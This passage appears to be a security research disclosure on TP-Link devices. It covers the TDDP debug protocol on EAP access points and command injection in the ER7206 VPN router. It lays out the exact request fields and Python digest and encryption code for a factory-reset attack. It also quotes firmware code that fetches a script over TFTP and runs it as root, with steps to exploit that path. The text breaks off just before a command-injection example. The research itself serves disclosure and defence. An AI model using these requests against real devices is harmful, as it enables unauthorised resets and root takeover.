Vulnerability highlights
TDDP on wireless access points
TDDP is the TP-Link Device Debug Protocol available on many TP-Link devices. This service running on UDP 1040 is only open during the first 15 minutes of a device’s runtime. This is effectively a mechanism to enable users to have a device serviced remotely without having to activate and deactivate a service manually. This service is exposed any time the device restarts for exactly 15 minutes. During this time, various functions on the device are exposed, which are listed later in this post. Most of this functionality seems to be directly related to factory testing.
Building a request
TDDP request messages consist of a header of size 0x1C followed by a data field only used by select commands. This header generally follows the format laid out in the structure below:
struct tddp_header {
uint8_t version,
uint8_t type,
uint8_t code,
uint8_t direction,
uint32_t pay_len,
uint16_t pkt_id,
uint8_t sub_type,
uint8_t reserved,
uint8_t[0x10] digest,
}Version
Only two versions of the TDDP service currently appear to be implemented on the target devices: 0x01 and 0x02. Of these, version 0x02 is the only one that contains any functionality of note.

Payload length
The pay_lenSubtype field contains the number of bytes that make up the payload. This value is calculated after all necessary padding has been applied, but before the payload is encrypted.
Subtype
The sub_type in use depends on the type value is previously chosen. Sub_type breakouts for each supported types are listed later in this post. These mappings are specific to the targeted devices and may change from device to device.
The way sub_types are processed differently between the two major type requests. SPECIAL_CMD_OPT requests the sub_type value in this field. ENC_CMD_OPT requests ignore the sub_type field and instead expect the sub_type value to be supplied in the payload at byte offset 0x0A (offset 0x26 into the entire request).

00408ee8 return $v0_2Digest
Every TDDP request must contain an MD5 digest of the entire request, including the payload after it has been padded but before it has been encrypted. When calculating this value, the digest field must be filled with 0x10 null bytes. For example:
digest_req = b''
digest_req += struct.pack('B', self.version)
digest_req += struct.pack('B', self.type)
digest_req += struct.pack('B', self.code)
digest_req += struct.pack('B', self.direction)
digest_req += struct.pack('>L', self.pkt_len)
digest_req += struct.pack('>H', self.pkt_id)
digest_req += struct.pack('B', self.sub_type)
digest_req += struct.pack('B', self.reserved)
digest_req += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
digest_req += self.payload
digest = hashlib.md5(digest_req).digest()Payload
For some requests to successfully execute, a payload is required. Regardless of the contents of the payload, it must first be padded with null bytes to an eight-byte boundary. Once padded, the payload must then be DES encrypted. For example:
base_key = ''
base_key += self.username
base_key += self.password
tddp_key = hashlib.md5(base_key.encode()).digest()[:8]
key = des(tddp_key, ECB)
tddp_data = key.encrypt(self.payload, padmode=PAD_PKCS5)Unaddressed fields
A few more request fields that have not been explicitly called out here exist: code, direction, reserved, and pkt_id. These fields are necessary for a successful request but have values that have stayed static across our testing.
Vulnerability impact
Factory reset device (TALOS-2023-1861)
While enabled during startup, TDDP can be used to factory reset the device through a single ENC_CMD_OPT request, passing a subtype code of 0x49 via the payload field.
This type of request deviates from the typical usage of the payload field in that it does not get DES encrypted before being sent. Instead, it supplies the subtype code by placing it within the payload field at offset 0x0A while leaving every other byte null.
When properly formatted, this results in a payload field with the following contents:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00
Combining this payload field with the remaining required fields gives a request with the following elements:
|
version |
0x02 |
|
type |
0x07 |
|
code |
0x01 |
|
direction |
0x00 |
|
pay_len |
0x10 |
|
pkt_id |
0x01 |
|
sub_type |
<ignored> |
|
reserved |
0x00 |
|
digest |
<dynamic> |
|
payload |
00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 |
When a request is properly constructed and sent to a TP-Link EAP115 or EAP225 with the TDDP service listening, the device resets its configuration to the factory default and begins acting abnormally until the next power cycle when the default configuration takes full effect.
Gain root access (TALOS-2023-1862)
TDDP can also be used to indirectly obtain root access on certain devices through one of the exposed TDDP commands, enableTestMode. The exact purpose of this command is unclear, but when this test mode is enabled, the device sends a TFTP request to a predefined address (192.168.0.100) looking for a file named "test_mode_tp.sh," which is subsequently executed. This sequence can be seen in the code snippet below:
int32_t api_wlan_enableTestMode() {
struct stat buf;
memset(&buf, 0, 0x98);
int32_t i;
do {
i = execFormatCmd("arping -I %s -c 1 192.168.0.100", "br0") // [1] Check for the existence of a system at 192.168.0.100
} while (i == 1);
execFormatCmd("tftp -g 192.168.0.100 -r test_mode_tp.sh -l /tmp/test_mode_tp.sh"); // [2] TFTP Get a file named `test_mode_tp.sh` from 192.168.0.100
stat("/tmp/test_mode_tp.sh", &buf);
int32_t result = 1;
if (buf.st_size s> 0) { // [3] If the file was successfully fetched...
execFormatCmd("chmod +x /tmp/test_mode_tp.sh"); // [4] Mark the file as executable
execFormatCmd("/tmp/test_mode_tp.sh &"); // [5] and finally execute the shell script with root permissions
result = 0;
}
return result;
}By assigning a host the address 192.168.0.100 and setting up a TFTP server serving the test_mode_tp.sh script on that host, the device can be forced to execute any command as the root user immediately after the enableTestMode TDDP request is sent.
Command injection vulnerabilities in VPN router
The cgi-bin functionality of the ER7206 Gigabit VPN Router is backed completely by compiled LUA scripts. Because these scripts don’t have a standard compilation format for Lua, reverse engineering can be difficult. For exact decompilation, the version of the original compiler is necessary. This complicates the analysis, but studying even the compiled code provided hints about implementation details and further guided our manual testing. A common vulnerability class that plagues similar software is command injection due to unsanitized input. We have exhaustively tested input fields in the user interface and have uncovered eight distinct command injection vulnerabilities, most in the user interface related to configuring VPN technologies (PPTP, GRE, Wireguard, IPSec). The presence of these was verified by testing for side effects of successful abuse of each vulnerability. While all identified vulnerabilities in this group require authentication before exploitation — which lowers their severity — they can be abused to acquire unrestricted shell access. This expands an attacker’s possible attack paths and can further aid in achieving persistence on the device.
Exploitation of a command injection vulnerability is straightforward. In the following example, the `name` field in JSON data is the target of command injection. No input filtering occurs while handling the data in this POST request, any shell metacharacters that are included in the POST body can be used to execute arbitrary commands within the authenticated context:
